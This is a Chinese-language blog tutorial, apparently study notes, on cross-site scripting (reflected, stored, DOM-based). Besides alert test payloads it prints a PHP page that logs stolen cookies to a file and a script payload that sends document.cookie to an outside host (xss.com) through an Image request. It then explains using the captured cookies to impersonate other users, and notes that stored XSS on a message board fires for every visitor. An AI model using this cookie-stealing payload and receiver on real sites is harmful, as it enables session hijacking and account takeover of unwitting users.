XSS跨站脚本攻击

这里写自定义目录标题

XSS

常用XSS

反射型xss

测试页面是否存在xss。

<script>alert('xss')</script>
如果页面存在XSS,那么就会弹出“XSS”这个字符。

弹出用户cookie

,其中document.cookie可以用来获取用户的cookie。
弹出空白可能是因为该页面没有给我们设置cookie

接收用户cookie

如果只是弹出的话,只有访问该页面的人才能看到,而我们是看不到的。

我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,
把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,
然后再保存起来。
所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。

这个文件就是用来接收cookie并保存的,源码如下:
<?php

$filename = 'cookies.txt';

&f = fopen($filename, 'a');

$cookie = urldecode($_GET['msg']) . PHP_EOL;

fwrite($f,$cookie);

fclose($f);

它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面

接下来就是构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。
最终构造的语句为:
<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>

这里为什么要进行URL编码呢?因为为了防止cookie中有特殊字字符,如#等导致cookie不全


在输入框输入上面构造的语句,然后点击发送,然后打开cookies.txt,就可以看到当前访问http页面的人的cookie

拿到cookie后,我们就可以替换cookie来冒充其他人的身份,来做一些恶意操作

存储型xss

反射型XSS在利用的时候要求必须访问特定的URL,这在一定程度上有着局限性。但是,存储型XSS却没有这种弊端,存储型XSS的利用代码被保存在数据库中,在用户访问页面的时候,数据从数据库中取出来。所以用户只要访问了存在XSS的页面就会触发恶意代码,而不需要像反射型XSS那样,必须点击构造好的URL才能触发。


   存储型XSS一般发生在留言板等地方,因为它需要把用户输入的内容保存到数据库
   用户向服务器提交的数据只是一次性的,如果不保存到数据库,数据就会丢失

mysql_escape_string函数仅用来转义特殊字符而非对字符进行实体编码

输入xss的测试代码

<script>alert('xss')</script>
一般选择留言的地方测试,因为相对来说,允许我们输入的长度限制比较小,有的限制昵称的长度只能为32字符等。

仔细观察url,发现没有参数,但是由于代码保存在数据库,每次访问该页面的时候,都会从数据库中查询出来,所以,用户只要访问该页面,该代码就会被执行。

我们模仿其他用户访问该页面,打开Chrome,访问该页面,因为HTTP是无状态协议,它依靠cookie来识别用户身份,但是不同浏览器之间cookie不共享,所以2个浏览器可以模拟2个用户的身份,因为2个浏览器访问同一个页面的话,产生的cookie不同,如果想要查看2个浏览器的cookie是否相同,可以在想要查看cookie的页面打开开发者工具,然后在控制台输入document.cookie就可以看到当前网站的cookie

发现刚访问就直接弹窗,而我们根本就没有往页面写任何东西!这就是存储型XSS。想想前面的反射型XSS,相比反射型XSS必须在url中带上攻击代码,存储型XSS是不是更实用

我们可以像反射型XSS一样,构造一个浏览器会自动加载的请求,比如img的src属性,然后在src属性的值里带上cookie,这样,当浏览器请求这个url的时候,就会在对方的web服务器上留下日志,而cookie保存在web日志中,当然也可以像实验步骤一一样用一个页面接收cookie更好。

存储型XSS相对反射型XSS来说,它多了数据库的参与,而反射型XSS没有参与。

DOM xss

DOM Based XSS 无需与服务器交互即可完成XSS。我们输入的数据通过浏览器DOM解析后直接显示在页面,与反射型XSS、存储型XSS需要与服务器交互明显不同

其他的还不太会,正在学

嘿嘿~

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值